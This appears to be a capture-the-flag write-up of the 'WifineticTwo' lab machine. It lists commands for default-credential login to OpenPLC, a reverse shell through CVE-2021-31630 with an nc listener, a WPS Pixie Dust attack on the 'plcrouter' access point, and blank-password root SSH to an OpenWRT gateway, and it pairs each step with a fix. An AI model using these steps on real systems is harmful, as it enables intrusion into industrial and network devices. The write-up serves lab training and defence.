WifineticTwo
Summary
My found only two exposed services on the target — SSH and a web console on port 8080 that turned out to be OpenPLC, an industrial control (ICS) management platform. OpenPLC was left on its factory default login ([REDACTED: recovered credential]), and because the OpenPLC runtime itself runs as root, the built-in 'Hardware Layer Code Box' — a feature that compiles operator-supplied C code into the PLC runtime (CVE-2021-31630) — gave me a root shell on the container the instant they logged in. From that root foothold the container was found to have a physical Wi-Fi adapter (wlan0) attached, exposing a second, air-gapped-looking network.
A nearby access point, 'plcrouter', had WPS enabled, and a Pixie Dust attack recovered its WPA2 passphrase in seconds. Joining that Wi-Fi network revealed the real prize: the wireless router itself ($INTERNAL_HOST, OpenWRT/LuCI) accepted SSH as root with a blank password, handing over full control of the network's gateway device.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"
export INTERNAL_HOST4="<another-host-reached-after-pivoting>"
export INTERNAL_HOST5="<another-host-reached-after-pivoting>"
export PASSWORD6="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -p22,8080 -sV -T4 $TARGETcurl -ksS -L --max-time 15 -D - http://$TARGET:8080/Exact commands 2
curl -sS -c cookies.txt http://$TARGET:8080/logincurl -sS -i -b cookies.txt -c cookies.txt -X POST -d 'username=$PASSWORD6&password=$PASSWORD6' http://$TARGET:8080/loginFixChange the OpenPLC default administrator credentialsCritical
Exact commands 3
nc -lvnp 4444# In the browser: Hardware tab -> paste a C reverse-shell payload into updateCustomOut() -> Save changes (compiles)# Dashboard -> Start PLCFixPatch OpenPLC and stop running the PLC runtime as rootCritical
Exact commands 4
id; hostname; ip -brief address; ip routesudo -n -l 2>/dev/nullcapsh --print 2>/dev/null || getcap -r / 2>/dev/nullfind / -type f -name user.txt -exec cat {} \; 2>/dev/nullFixReduce container privileges and remove unnecessary hardware accessHigh
Exact commands 2
ip link show wlan0iw dev wlan0 scan | grep -E 'SSID|BSS|WPS'Exact commands 1
python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00 -KFixDisable WPS on the plcrouter wireless access pointHigh
Exact commands 4
wpa_passphrase plcrouter '<recovered-PSK>' > /tmp/w.confwpa_supplicant -B -c /tmp/w.conf -i wlan0udhcpc -i wlan0ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$INTERNAL_HOST 'id; hostname; cat /root/root.txt'FixSet a root password and restrict SSH access on the OpenWRT gatewayCritical
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 8080/tcp | http-proxy HAProxy http proxy |